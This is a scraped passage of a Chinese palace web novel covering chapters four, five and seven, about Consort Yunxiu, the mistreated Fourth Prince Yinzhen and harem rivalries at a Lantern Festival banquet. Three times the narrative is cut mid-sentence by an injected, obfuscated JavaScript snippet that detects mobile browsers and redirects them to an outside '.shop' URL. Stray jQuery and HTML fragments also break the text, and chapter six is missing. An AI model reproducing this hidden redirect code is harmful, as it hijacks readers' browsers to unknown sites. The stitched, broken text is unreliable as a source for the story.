“江太医就收下吧。”如意微微笑着,语气中却多了几分警告:“我们娘娘说了,江太医医术高超不说,嘴上更是牢靠,最明白三缄其口的道理,这点东西不算什么,以后娘娘还有的赏赐。” 4. 第四章 如意送江太医离开后便回了正殿,瞧见德妃正哄着六阿哥,给他喂甜汤,和她一同服侍德妃的大宫女吉祥正和几个宫女一起布膳。 四阿哥站在一旁,手腕上的伤已经包扎过了,照常冷着一张脸,眼神都没有什么波动地垂头盯着脚下的毯子出神。 自从四阿哥从承乾宫回来就是这幅样子,娘娘对四阿哥不热络,四阿哥也对娘娘没有什么情分,母子俩就这么不冷不热地处着,如意有时瞧着都有些别扭,明明是亲生的母子,还是娘娘的头一个孩子,按理来说分散多年后母子重聚就算不是欢天喜地,也不应当这么冷若冰霜。 如意瞧了一眼胤禛,抿唇上前回禀:“娘娘,已经把江太医送出去了。” 六阿哥方才嚷嚷着饿了,德妃便赶忙让人去取了甜汤来,结果六阿哥耍起小脾气,平常最爱喝的甜汤愣是连嘴都不张,德妃没办法也只能哄着这个小祖宗多少吃一点,然后催着吉祥几人赶紧布膳。 德妃听到如意的话头也没回,又舀了一勺甜汤喂给六阿哥,取了帕子仔细地给他擦了擦嘴才淡淡地问:“都打点好了吧,不该说的话别让他乱嚷嚷。” 今天这事一出难免皇上和太皇太后会觉得她偏心胤祚亏待胤禛,这时候不能再有这种话传出去。 如意:“娘娘放心,江太医是聪明人。” 江太医没有什么理由和她们永和宫作对,德妃娘娘圣宠正盛,六阿哥和刚刚出生不久的皇九女也颇受皇上宠爱,反观四阿哥能称得上的靠山就只有病重垂危自顾不暇的皇贵妃,江太医只要不是傻子,就知道该怎么选。 德妃点了点头,六阿哥见午膳布好了也不喝甜汤了,从榻上跳下去用午膳,德妃这才腾出手来看向一直垂手站在一旁的胤禛。 “胤禛,你手上有伤额娘便不留你在这用膳了,回头让人把饭菜送到你屋里去。” 德妃扶着吉祥的手起身,语气淡淡地说:“往后记着,你六弟年纪小难免有调皮的时候,你是哥哥就应该多关照他,而不是和什么不三不四的兄弟混在一起,合起伙来欺负你亲弟弟。” 胤禛嘴唇动了动,掌心攥地紧紧地,他抿着唇不发一言,德妃也知道他这是在和自己较劲,当下也不再说话,只是静静地,居高临下地盯着他。 半晌后,胤禛还是屈服了。 他长出了一口气,微微低下头:“儿子知错了。” 德妃这才露出一个笑容:“知道错了就好,和你六弟赔个罪,这事就过去了。” 胤禛只觉得自己的指甲都要嵌进手心里去,他的掌心刺痛,心里却冷地好似没有知觉了一样,到头来还是要他向六弟低头。 额娘在慈宁宫说地那些话也都是虚情假意,他早就应该明白的,也不应该再有什么期待。 已经拿了块枣泥酥饼小口吃着的六阿哥听到德妃的话也转头看过来,脸上也都是得意的神色,擎着脑袋等待着四哥给自己道歉。 “六弟,今日是四哥鲁莽了,对不住。” 胤禛松开了攥地紧紧的手,神色恢复了平静,几乎是没有任何情绪地说出了德妃想听的话。 六阿哥骄矜地点了点头,勉强收下了这份道歉。 德妃也勉强满意,摆摆手示意胤禛退下,上前柔声嘱咐六阿哥别吃这么多糕点,待会吃不下饭了。 胤禛规矩地行了礼便告退了,临走之前,听到宫女又从内室出来说九妹醒了,正哭着找德妃,六阿哥对这个小妹还是很喜欢的,德妃本就已经夭折了一个女儿,所以对这个小女儿也是很宠爱。 宫人把已经快要八个月的皇九女抱了出来,德妃接过哄着她,六阿哥也顾不上用膳了,扯着德妃的衣裳要看妹妹,德妃笑着俯下身让六阿哥能看到。 胤禛回头看了一眼,片刻后便又转身,头也不回地离开了。 这才是一家人,永和宫里从来就没有他的位置。 长春宫内,胤禩也已经吃了个七七八八,开始昏昏欲睡了,如今的皇子们读书的规矩是年满七岁后正式入学,从此开始一年只休五天,上午读经史,下午练骑射的卷王生涯,剩下的则是三岁后入尚书房启蒙,只上午读会书,下午就没什么安排了,所以胤禩现在还能歇个午觉。 云秀把胤禩哄睡后,摸了摸他红润的小脸轻手轻脚地从寝殿退了出来,随后又去了慈宁宫。 太皇太后和太后年纪大了,现在也很少午歇,云秀过去的时候两位老祖宗正在内殿品茶说话,殿内还点着清心静神的宁神香。 “老祖宗怎么又把这香点上了,您不是说这香闻着怪冷清的吗?” 宝琳笑着进殿,行过礼后便让身后的豆蔻把带过来的食盒递给了苏麻喇姑。 太皇太后微眯着眼,听着后头的西洋钟滴滴答答的声音,抬手把桌上一个工艺精细的紫檀木盒子给合上了。 “哀家就知道你还得过来。”太皇太后看了看云秀带来的那食盒,难得有些好奇:“这又带的是什么?” 云秀说:“还是天麻炖鸡汤,上午的时候人多,老祖宗就喝了一碗,这汤您得多喝些,能治您的头痛。” 太后听了笑着说:“皇额娘,云秀这丫头是有些医术的,喝这个总比苦药汤子强,您就多用些吧。” 苏麻喇姑也已经手脚麻利地给太皇太后和太后各盛了一碗,太皇太后一看微微挑眉:“这怎么比上午的还多了些红枣?” 云秀无奈:“这不是看您上午进地不多,放些红枣能让您多喝点。” 都说老小孩,老小孩,太皇太后如今也到了这个年纪了。 太皇太后瞪了云秀一眼,不过加了红枣倒真的用的多了些了。 云秀四处看了看,没见着五阿哥便问道:“胤祺这是又跑哪去了?” 太后喝了一碗汤,取了帕子擦嘴,无奈地说:“正生气呢,用了午膳就跑到自己寝殿里去了,方才苏麻去看了,说是睡着了。” 五阿哥是纯粹的小孩心性,自己生闷气,生着生着气就迷糊了。 太皇太后顺势也问了问胤禩如何,云秀摊了摊手:“也是生了会气,不过现在好了,用了午膳也睡下了。” 说完云秀还试探地问:“老祖宗,您不生胤祺和胤禩的气?” 今儿这俩孩子可以说是折腾的动静不小,而且在太皇太后看来应当还是在管的闲事,纯粹是在胡闹。 太皇太后和太后对视一眼都笑了。 “哀家有什么好生他们的气的。”太皇太后提起这两个看着长大的重孙,和蔼慈祥地笑着说:“虽说他们是阿哥最好是胸有城府,可如今他们才多么点大。” “这么大小的孩子,最重要的就是心正,知道什么是对什么是错,他们愿意为了胤禛打抱不平,哀家觉得就很好。” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092606|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀有些没想到太皇太后能说出这些话来,她还以为太皇太后会嫌这兄弟俩胡来,自己给自己找麻烦。 太皇太后说完,又想起了德妃,不由得皱了皱眉:“而且德妃也太过了些,胤禛不论怎么说也都是她怀胎十月亲生的,即使从小没养在身边,那也是皇帝下的旨,关胤禛什么事。” “是啊,胤祺也是一落地便抱来了慈宁宫,我看宜妃如今有了胤禟,对胤祺也是一样疼爱的。”太后也说道。 云秀也搞不明白德妃是怎么想的,只能说人心易变,谁又能说地清呢。 而且从历史上来看,六阿哥夭折之后,德妃生了十四阿哥,偏心地就更变本加厉了,就连雍正登基的时候都跳出来扯后腿,连太后都不愿意当,说着什么自己都没想到康熙会把皇位传给胤禛。 真可以说是唯恨了。 这种复杂的母子感情恐怕当事人都理不清楚,更不用说他们这些局外人了。 云秀感叹:“可惜皇贵妃病倒了,否则还能有人给四阿哥做主。” 云秀入宫早,宫里的事她大多都知道个七七八八,譬如佟佳氏虽然抱养了胤禛,前几年瞧着也是嘘寒问暖母子情深的,但是自从她怀上自己的孩子之后也是对胤禛冷淡了不少,尤其是皇八女夭折之后皇贵妃病倒,更是顾不上胤禛了。 不过皇贵妃比起德妃来还是强多了,起码是用心在抚养着胤禛,有了自己亲生的孩子一碗水端不平了,也算是人之常情吧,但也没有对胤禛过分到哪里去,顶多是没有那么多精力来照看他了。 太皇太后拍了拍刚才云秀进来时和太后正看的那个紫檀木盒子,意味深长地说:“这是方才皇贵妃让人送来的,你来瞧瞧。” 嗯?皇贵妃送来慈宁宫的? 云秀还真有些好奇,打开一看是一尊羊脂玉的送子观音像。 给太皇太后和太后送送子观音像,显然不是祝祷这两位还能老来得子了,皇贵妃这是在恳求两位老祖宗能够庇佑胤禛一二。 太后正在剥果子,还给云秀递过去了一小盘,感慨道:“皇贵妃病重,还能为胤禛考量,也是慈母之心了。” 太皇太后冷笑了一声,慢悠悠地说:“可惜皇帝被德妃哄住了,我这个老婆子又能有什么办法。” 太皇太后这显然就是气话了,今儿康熙护着六阿哥,给了胤禩和五阿哥气受,太皇太后自然也是不高兴的。 云秀合上那个檀木盒子,心中也有些动容,只是太皇太后虽是气话但也是实话,康熙护着德妃,太皇太后若是动真格的自然能把胤禛从永和宫接出来,只是对太皇太后来说没有必要为了胤禛和康熙闹翻。 可怜胤禛也只能在自己亲生额娘手下熬着了。 这时,太皇太后突然问了一句:“皇帝现在做什么呢?” 苏麻喇姑回:“皇上回了养心殿批折子,没一会儿又传了太子殿下过去一同用膳,如今还在和太子殿下说话。” 太皇太后意味深长地哦了一声,没再说什么。 几人便没再谈永和宫的事,过了一会胤禩和五阿哥都醒了,也都来了慈宁宫,兄弟俩睡了一觉也没那么多气了,哄着两位老祖宗欢欢喜喜地又说了一下午话,直到晚上合宫夜宴,云秀才带着胤禩回宫换了身衣裳往九州清晏去。 结果去了之后发觉德妃只带着六阿哥过来了,胤禛却没见着踪影。 5. 第五章 云秀到的时候嫔妃们都到的差不多了,康熙和两位老祖宗还没有过来,所以气氛便松泛许多,不论是嫔妃们还是皇室宗亲都在笑吟吟地叙话,看着倒是元宵节阖家欢乐的模样。 今儿的宫宴是钮祜禄贵妃一手操办的,云秀到的时候瞧见她还正精神头极好地和平妃在说话。 十阿哥如今才三个多月,钮祜禄贵妃刚刚坐完月子还得照顾儿子,还能这么精神百倍风风火火地忙活宫务,云秀只剩下一句佩服了。 佟佳皇贵妃抱病,今天晚上自然也是告假,于是今晚位份最高的便是云秀和钮祜禄贵妃了,众嫔妃见云秀来了也都纷纷起身见礼,钮祜禄贵妃也看过来,两人微微颔首就算打过招呼了。 如今康熙的后宫可以说是四角齐全,一皇贵妃,两贵妃,四妃都整整齐齐,没有什么空位,这几年出生的皇子公主也不少,确实可以说是枝繁叶盛了。 云秀的位置在左侧的首位,正对着的是钮祜禄贵妃,钮祜禄贵妃之下便是育有皇长子的惠妃,而和惠妃相对的则是资历同样深厚,为康熙生育了五子一女的荣妃。 德妃带着六阿哥坐在惠妃的下首,向云秀行过礼后便垂首笑着和六阿哥说话。 宫里的规矩是男女七岁不同席,所以几个年长的阿哥都有单独的座位,而公主和年龄较小的皇子则跟着自己的额娘一起坐。 胤禩进了殿就左顾右盼,确认他四哥确实没有来之后便晃了晃云秀的衣袖。 “额娘,四哥不在。” 云秀也发觉了胤禛不见踪影,她安抚地拍了拍胤禩的小手,向德妃那看了过去,直接问道:“德妃妹妹,怎么不见四阿哥?” 云秀此言一出,方才还在笑着叙话的众位嫔妃们也都戛然而止,似有似无地看了过来。 今儿在慈宁宫的事不大不小,但也算一桩热闹,宫里一向又没什么秘密,大家自然都已经知道了。 一向与世无争却后台极硬的慧贵妃和圣宠正盛的德妃对上了,不少人都等着看热闹。 德妃神色如常,笑着说:“胤禛伤了手,太医嘱咐要静养,喝了药便睡过去了,臣妾便留他在宫中休息了。” 云秀点点头,想了想觉得也有道理,胤禛毕竟受伤了,在宫里歇着也正常,于是她又笑着说:“那明日本宫去永和宫探望一番,胤禩记挂着他四哥。” 当着这么多人的面德妃自然不会拒绝,笑吟吟地应下了。 眼看慧贵妃没有继续发难的意思,众人也都觉得没趣,各自说话去了。 胤禩却小脸通红,板着脸不高兴了。 “额娘,您说什么呢!” 什么叫他记挂着四哥啊! “额娘说错了?”云秀捏了捏他的小脸:“不是你从来的路上就一直念叨着你四哥,怎么又不承认了?” 胤禩哼了一声,他只是觉得这次算是他坑了四哥,心里有点过意不去罢了。 云秀揉了揉胤禩的脑袋,她这儿子是个傲娇,明明就急得不得了,还在这里装样。 “胤禩,做人呢要直爽些才是,你不说出来四哥怎么会知道你喜欢他呢,你们又怎么能做好朋友?” 胤禩一听直接炸毛了:“额娘,您越说越过分了,我才不喜欢四哥呢!” 四哥又臭又硬像块石头似的,一天说不了三句话,还都硬邦邦的,比尚书房的老学究师傅还要古板,他怎么可能喜欢四哥! 云秀见好就收,要是真把胤禩惹急眼了,这个小心眼的又得给她整事了。 恰巧这时四妃中剩下的一位,宜妃也到了。 宜妃的长子五阿哥一出生就被抱到了太后膝下,而云秀又是太后的侄女,常在慈宁宫,这一来二去的两人关系便十分不错。 自然这也是因为云秀不得宠,不只是宜妃,宫里其他的妃嫔也都不会吃饱了撑的来得罪她这个不得宠却后台很硬的贵妃。 宜妃的位置和德妃相对,与云秀之间隔了个荣妃,不过宜妃也没落座直接走到了云秀处和她说话。 “贵妃娘娘。” 宜妃言笑晏晏地行过礼后,云秀便把她扶了起来,拉她坐下,反正现在康熙还没来,没有那么多讲究。 胤禩跟在云秀身边也规规矩矩地给宜妃问了安,胤禩和五阿哥关系好,宜妃对胤禩的印象也不错,笑着夸了胤禩两句。 两人落座后宜妃才瞧了一眼德妃,凑近小声问:“娘娘,听说今儿在慈宁宫德妃又去搭戏台子了?” 这事毕竟还涉及五阿哥,宜妃打听也正常。 “你的消息倒是快。”云秀说:“不过是几个孩子之间的事,皇上已经处置了。” 涉及皇子,云秀也不好乱说话,只能按着康熙的意思来说。 宜妃把手里的暖炉随手递给了后头的宫女,抽出帕子来笑着说:“这宫里头的事,一向都是插了翅膀的,一会儿的功夫就传遍了。” “皇上护着德妃,只怕是她要更得意了。” 宜妃和德妃都是宠妃,本来就是对头,更不用说这次德妃和六阿哥还是踩着五阿哥耍威风了,宜妃自然对德妃不会有什么好脸色。 “胤祺没什么事吧?”宜妃担忧地问出了她最担心的事:“那孩子被太后宠地无法无天,气性高,这次受了这么大的委屈,我真是担心他再和皇上顶嘴,惹了皇上不高兴。” 云秀:“你放心,有太皇太后和太后在,胤祺和胤禩都吃不了亏。” 云秀这话一出宜妃就放心了,胤祺到底没养在她身边,即使太后疼爱,她这个亲娘还是日日牵挂,尤其是今天出了这样的事,她一听闻便急得不得了,只是康熙没有召她,只传了慧贵妃和德妃,她也不好前去慈宁宫,只能提心吊胆地等消息。 本来九阿哥还小,宜妃是打算着今天的宫宴告假不来了的,结果五阿哥出了事,她是放心不下小的又挂心大的,犹豫了许久,最后还是来了一趟,想亲眼看看五阿哥才放心。 云秀听着宜妃和她诉苦这忙不过来的烦恼,叹了口气说:“你对胤祺和胤禟都是一样的心疼,只是可怜了四阿哥,在亲生额娘宫里还能受这种委屈。” “嗐,怪也只怪四阿哥命不好,摊上了这么一个偏心眼的额娘,皇贵妃又卧床不起。”宜妃轻描淡写地说。 四阿哥到底也是德妃的儿子,她自然也谈不上多在意。 德妃喜欢折腾自己亲生儿子,那就让她折腾去呗。 胤禩乖巧地坐在一边听自己额娘和宜妃聊天,听到这他不由自主地抿了抿唇,眼神也黯淡了些许。 四哥……好像确实有点可怜,这样一想他脾气臭也是有原因的,要不以后试着多带着四哥一起玩? 云秀也明白和宜妃说这些没什么用,她打量了一番宜妃,挑眉说:“你今儿打扮地倒是素净,这是改性了?” 宜妃生地美艳,平日里也多穿绯红浅紫这些艳丽的颜色,发饰首饰也都是雍容华贵,很是衬她,今儿过元宵,宜妃反而却穿了一身松石绿的衣裳,头发也梳地简单,首饰也多是银饰和珍珠,和平时可以说是判若两人。 不过美人怎么打扮都是美人,虽然素净却难掩天姿国色,还别有一番韵味。 宜妃笑着说:“如今宫里年轻的妃嫔那么多,臣妾这个老人也该学地端庄大方些了。” 云秀才不信她这鬼话,不过宜妃话里指的年轻妃嫔她倒是知道是谁,康熙去年南巡带回来了一个汉族女子王氏,生地如花似玉像天仙似的,性子又温婉贤淑,康熙很是宠爱了一阵,封了密贵人,如今也算恩宠有加。 尤其是宜妃,德妃和钮祜禄贵妃这三个从前的老牌宠妃去年都正怀孕生子,宫里最得宠的就是密贵人了,不过如今这几位都已经出了月子重新加入战场,密贵人的恩宠自然就不如往前了,但康熙还是时常召见,并没有如何冷落。 宜妃拈酸吃醋,云秀正打趣她,便听到门外的宫人们通报,康熙和太后来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092607|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 殿内众人都迅速噤了声,赶忙起身行礼。 康熙换了身玄色的朝服,上绣着赤色的五爪金龙和如意云纹,金质玉相,气宇轩昂,行走间也是龙行虎步,神采奕奕。 如今而立之年,大权在握的康熙显然是最巅峰的境况,无论是身体还是心理,大有一种吞吐天地的君临天下之势。 如今十岁的太子胤礽也跟在康熙身边,太后也带着五阿哥紧随其后,不过太皇太后嫌闹腾没有过来。 “都起身吧。” 康熙行至上首落座,随意地抬了抬手,让众人都平身。 云秀赶紧起身坐下,心想今年怎么选了九州清晏办宴,从门口到御座也太远了,要是康熙走地再慢点她估计腿都麻了。 云秀位置本就靠前,康熙一眼就看到了她这小动作,不过无伤大雅他也懒地管,反而是先和钮祜禄贵妃说了话。 “今儿这宫宴办地不错,胤俄如今也正是闹腾的时候,有劳贵妃了。” 钮祜禄贵妃立即起身恭顺地说:“臣妾蒙恩协理六宫,这本就是臣妾分内之事,不敢当皇上夸赞。” 云秀在底下不敢吭声,其实她名义上也有协理六宫之权来着,毕竟是唯二的贵妃,康熙这个面子是要给的,不过一来她人懒,管不来这些,二来钮祜禄贵妃对宫务极其热衷,强势一手抓,云秀也就乐呵呵地做吉祥物了。 最后最重要的原因则是太皇太后也不想她沾手宫权,她出身太高又有皇子,若是再手握重权,康熙第一个就得给她穿小鞋,所以她还是老老实实养孩子,然后吃喝玩乐就行了。 慰问过钮祜禄贵妃之后,康熙环顾一圈也发现少了个儿子,胤禛没来,不过出乎云秀意料的是,康熙竟然一个字都没有问,像是刻意摁下今日发生的兄弟争执之事,康熙不提自然也不会有不长眼的主动跳出来触霉头,于是这元宵夜宴就如同往年一样歌舞升平,推杯换盏,嫔妃和王公们都说着些吉祥话,场面也十分融洽。 而此时的承乾宫中,佟佳皇贵妃正秀眉紧蹙,她脸色苍白形销骨立,穿着单薄的寝衣靠坐在床头咳嗽不止。 皇贵妃的贴身侍女青黛忙拿过帕子递过去,眼瞧着皇贵妃呕出一汪鲜血,眼眶中便泪如雨下。 “行了,现在还不是哭的时候。” 皇贵妃把帕子递给她,神色平静,语气十分虚弱地问:“你方才说,胤禛没去元宵夜宴?” 青黛抽噎着说:“娘娘,您先别操心四阿哥了,奴婢服侍您先把药喝了吧。” 皇贵妃垂首,阖上眼长出了一口气,她纤细的手指紧攥着身下的锦被,胸前起伏不定地问:“到底是怎么回事,让人去查了没有,胤禛是伤地去不了,还是德妃那个贱人故意作践胤禛?” 承乾宫的另一个大宫女银丹赶忙上前给皇贵妃顺气:“娘娘别急,已经让人去查了,四阿哥应当没什么大碍,听说只是皮外伤,修养些日子也就好了。” 青黛也趁势端过药来服侍着皇贵妃喝下,随后又拿出帕子仔细地拭去了皇贵妃嘴角的药渍,轻声说:“娘娘,您要是实在放心不下四阿哥,便将四阿哥接回来吧,总比在永和宫被德妃凌辱的强。” 皇贵妃闻言怔了怔,嘴唇微动,片刻后还是长叹了一口气。 “胤禛到底是记在德妃名下的,本宫的身子自己清楚,怕是熬不了多久了。” 她语气苦涩,因为重病而削瘦苍白的脸上划过一抹不甘和无可奈何。 “胤禛总要回到永和宫的,本宫退让至此,也只盼着德妃能看在胤禛到底是她亲生的份上,日后能善待于他。” 银丹眼睛转了转,突然福至心灵,有了个新的主意。 “娘娘,咱们还有一条路,如今德妃就敢如此慢待四阿哥,若是……她岂不是更无所顾忌了。” 皇贵妃抬眼,动作顿了顿:“你的意思是?” “扳倒德妃,再为四阿哥寻一位真心待他的养母。” 7. 第七章 云秀的惫懒被康熙点破,她也只能厚着脸皮扯谎:“臣妾宫里的小厨房从前味道不好,上不得台面,自然也不敢端到皇上面前来,如今换了个厨子,手艺不错,故而才献于皇上。” 慧贵妃闲云野鹤,不爱管宫里的事,也于争宠上不上心,平时多在慈宁宫陪着两位老祖宗说话,这些事宫里所有嫔妃都清楚,康熙自然也清楚,方才的话也不过是调侃她一番,无论是东拼西凑还是胡掰瞎扯云秀总归是给了个说法,康熙自然也不会为难她。 康熙放下手中的书,坐直了身子:“是嘛,那朕倒是要尝尝你精挑细选的厨子手艺如何。” 那当然是相当不错的了,云秀心道,这一点上她可没扯谎,这厨子是她寻了好久才找到的,八大菜系无一不通,手艺好的不得了,只不过已经在长春宫伺候了一年多了。 康熙拿起瓷白的玉勺尝了一口,微微点头:“确实不错,甜而不腻,绵软柔滑。” 康熙用了半碗,又问:“不过倒是在宫中不多见,是你那厨子琢磨出来的?” “这也算是药膳,是臣妾观古书,闲来无事写的方子。”云秀笑着说:“桂花化咳止痰,温肺散寒,蜂蜜又有解乏助眠之效,太皇太后一到冬季便常咳嗽又睡不好,用着这个倒好些。” 康熙听罢点头说:“你对太皇太后倒是一片孝心。” 云秀笑了笑没接话。 康熙用完那一碗芋艿桂花羹,半夏取了帕子来伺候康熙漱口净手,康熙拿起帕子擦了擦手,随手把帕子丢到托盘上,便摆了摆手让殿里的宫人们都下去。 随后看向云秀,似笑非笑地说:“过来。” 云秀顿时眼皮跳了跳,觉得有些不对劲,但还是往前靠近了两步。 康熙有些不悦,语气重了两分:“朕让你上前来,怎么朕是会吃了你吗?” 难说。 云秀是有些害怕康熙的,尤其是他板着脸生气的时候,见状也只能乖巧地又上前了几步,站在他跟前,裙摆都蹭到了他的膝上。 这样够近了吧? 康熙对他这个慧贵妃的印象一向都是没什么印象,她入宫极早论起来也算是和他相识十余年了,但奈何她一入宫便住在了慈宁宫,哪怕后来正式册封了,也是时常往慈宁宫里扎,所以康熙对她的印象并不深。 只记得是科尔沁出身的蒙古贵女,生地倒是漂亮,但是人很无趣,在他面前话都不敢说几句,偶尔翻她的牌子也觉得像个木头似的没什么趣味。 不过她老实从不招惹是非,后来又有了皇子,康熙也不会刻意折腾她,原本想着让她锦衣玉食荣华富贵在宫中荣养一生也就罢了。 今天已经算是慧贵妃和他说话最多的一次了,而且他还发觉了很多新鲜的事。 云秀竟然也会有坏心思想故意吓他,而且面对他时又害怕又有点挑衅的味道在里面,这样一来就让他觉得有点意思了。 康熙扯过云秀的胳膊稍一使力,云秀便跌坐在他的怀里。 云秀吓了一跳,差点尖叫出声,还好她反应快,硬生生忍住了弹跳起步给康熙一巴掌的生理反应。 云秀腹诽这熟练的动作,都不知道调戏了多少妃嫔了吧? 康熙是故意想看云秀的反应,见她敢怒不敢言的模样成功地被取悦到了。 久违地感受到了欺负老实人的乐趣。 云秀坐在康熙的腿上实在是怎么都不得劲,她轻轻地推了推康熙的胸膛,小声说:“皇上,这不合规矩。” “什么规矩?” “……” 云秀哑口无言,她随口胡诌的,哪知道坏了什么规矩。 这人这么较真干嘛! 云秀在心里痛骂康熙是不是酒喝多了来她这撒酒疯,抬眼看到康熙眉间微蹙,眼睛中有些血丝,她小心翼翼地问:“皇上近来是不是时感头痛,夜间也有些难以入眠?” 康熙逗够了乐子,本想放开她了,结果听到云秀的话又垂首看着她淡淡地说:“窥探帝踪,这确实是死罪。” 云秀:“……” 不识好人心,她什么时候窥探帝踪了,都在他脸上写着好不好。 云秀忍气吞声:“是臣妾见皇上您面中有疲惫之色,才斗胆一问。” 康熙最近确实偶尔会头疼,晚上也睡不好觉,已经宣太医看过了,最近也在服药,具体缘由康熙其实自己清楚,去年因着太子的叔祖父索额图结党之事,他罢免了索额图的官职,而沙俄在东北又虎视眈眈,康熙心中有数怕是免不了一战,这内忧外患加起来才让他身子有些不适。 康熙想起云秀懂医术,心中的疑虑也就散去了几分,而云秀现在是打定主意想讨好一下康熙的,当即便摘了护甲,跪坐在康熙身后,柔声说:“臣妾懂些按摩的技法,能帮皇上缓解一些。” 康熙点了点头,云秀难得这么温柔小意,他自然不会拒绝。 随着颈间肩膀的穴位被摁压,康熙出了一口气,合上了眼睛,云秀的手法极好,有力度又不会让康熙难受,而且这些穴位都是极为有效的,摁压上几遍能松劲活骨,疏通气血,没一会儿康熙就觉得脑海中清明了不少。 “你手上确实有些功夫,怪不得皇祖母和皇额娘如此疼爱你。”康熙闭着眼睛淡淡地说。 云秀:“承蒙两位老祖宗不嫌弃罢了,这不值什么。” 云秀本只是寻常敷衍一番,没想到康熙突然间提起了胤禛。 “朕听闻明日你要去永和宫看望胤禛?” 云秀揉捏的手一顿,心道康熙的眼线还真是遍布全宫,什么都知道。 于是她只能老实地按照在席间说的,说是胤禩记挂着他四哥,所以央着她带他去看看。 康熙睁开了眼:“胤禩不是一向和胤禛合不来吗,怎么,是在为他四哥打抱不平,觉得朕处置的有失偏颇?” 你这不是自己心里门清吗,还问。 云秀心里腹诽,面上勉强笑了笑:“胤禩一向是最崇敬皇上的,断然不会如此想,只是四阿哥受了伤,胤禩才记挂着罢了。” 康熙抬手摁住了云秀的胳膊,让她坐到他身旁来,随后才轻描淡写地说:“胤禛自小就性子冷硬,喜怒无常,是要好好磨一磨的,明日你去了永和宫替朕给德妃带句话,胤禛手上的伤未好之前,不必去尚书房了。” 云秀抿了抿唇,不知道这到底算是责罚还是康熙对胤禛的关心,她琢磨不明白,只能先应下了。 随后康熙便没再同她说什么,灭了灯就寝了。 而云秀也是十多年来第一次感受到了康熙的腹黑,熄了灯之后他才突然提起那本话本子里讲的鬼故事,一副兴致勃勃的模样和云秀探讨,偏偏康熙记性极好,书上的内容他扫了一遍便能重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092609|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复个大概,听地云秀在被子里缩成一团,最后被吓地窜进他怀里康熙这才满意,然后又开始禽兽地动手动脚。 第二天云秀起身时还心有余悸,身上酸痛不说,心灵也受到了极大的创伤,而且还得早起服侍康熙穿衣,她木着一张脸给康熙腰间挂玉佩,心里已经把康熙砍成八段了。 康熙倒是心情不错,离开长春宫后又让梁九功送了不少东西来,这还真是开天辟地头一遭。 以至于云秀送了胤禩去尚书房再去慈宁宫请安的时候,连太皇太后和太后都开她的玩笑。 “真是稀奇,某人这是转了性还是开了窍了,竟然也知道讨好皇帝了。” 太皇太后刚刚用完早膳,正在喝茶,见云秀进来笑着打趣她。 太后也笑意盈盈:“怎样都好,都是好事。” 她们在宫里虽能护着云秀,可毕竟年纪一日大过一日,总会走在云秀前头,嫔妃的指望除了孩子就只能是皇帝,云秀能得宠,太皇太后和太后自然高兴。 云秀却苦着一张脸,苏麻喇姑搬了个绣凳过来,笑着说:“太皇太后一早听说了皇上遣人送了不少东西去长春宫,高兴地不得了呢,早膳都多用了碗粳米粥。” “老祖宗您就别打趣臣妾了。”云秀赶忙说:“不过是昨夜臣妾见皇上乏累,所以给皇上按摩了一会,皇上才赏赐罢了。” 太皇太后和太后对视一眼都会心一笑:“怎么样都好,总归不是什么坏事。” 云秀又把昨晚康熙交代的事告诉了两位老祖宗,她是揣摩不明白康熙的意思,不过太皇太后肯定是清楚的,果然太皇太后听罢神色微顿,随后说:“你按着皇帝说的去做便是了,不必多想。” 云秀点头说:“一早已经让人去永和宫传话了。” 胤禩晌午要去尚书房,所以云秀是打算着午膳之前接上胤禩,再一同去永和宫看看的。 太后捻着佛珠突然问:“你对胤禛倒是格外关心,怎么,这孩子合你的眼缘?” 云秀从前经常嘱咐胤禩多和胤禛亲近的事两位老祖宗都是知道的,这次胤禛出事,云秀这个一向懒地掺和宫里事的人也是难得的上心。 云秀讪讪地笑了两声,她总不能说因为她知道胤禛是未来的下一任皇帝吧。 于是只能含糊地说觉得胤禛有些可怜,所以才多关照他几分。 云秀心地良善太皇太后和太后都是知道的,故而也没怎么起疑,只是太皇太后还是嘱咐了云秀一句,说胤禛身后有德妃还有皇贵妃,水深得很,让她还是不要多插手。 只是没想到太皇太后的话还真是一语成谶,到了快午膳时分,云秀刚想告退去尚书房接胤禩,苏麻喇姑匆匆忙忙地进来了。 “太皇太后,皇贵妃在永和宫闹起来了。” 云秀听了顿时满脑袋问号,皇贵妃不是病地连床都下不去了吗,怎么会去大闹永和宫? 太皇太后也眉头紧蹙,沉声问:“怎么回事,把话说清楚了。” 苏麻喇姑回道:“皇贵妃听闻四阿哥受了伤,病中牵挂,特求了皇上把四阿哥接回承乾宫,皇上允了。” 